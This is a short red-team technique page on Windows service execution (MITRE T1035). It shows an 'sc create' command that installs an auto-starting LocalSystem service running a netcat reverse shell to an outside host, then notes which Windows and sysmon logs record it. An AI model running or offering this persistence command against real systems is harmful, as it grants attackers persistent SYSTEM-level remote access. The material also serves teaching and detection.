> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/persistence/t1035-service-execution.md).

# Service Execution

## Execution

Creating an evil service with a netcat reverse shell:

{% code title="attacker\@victim" %}

```csharp
C:\> sc create evilsvc binpath= "c:\tools\nc 10.0.0.5 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] CreateService SUCCESS
C:\> sc start evilsvc
```

{% endcode %}

## Observations

The reverse shell lives under services.exe as expected:

![](/files/-LI1MdTMbAjZrV-CRPEu)

Windows security, application, Service Control Manager and sysmon logs provide some juicy details:

![](/files/-LI1PFjko7c0udlil1Z6)

![](/files/-LI1PaNQGlgVFBZqnfZx)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1035>" %}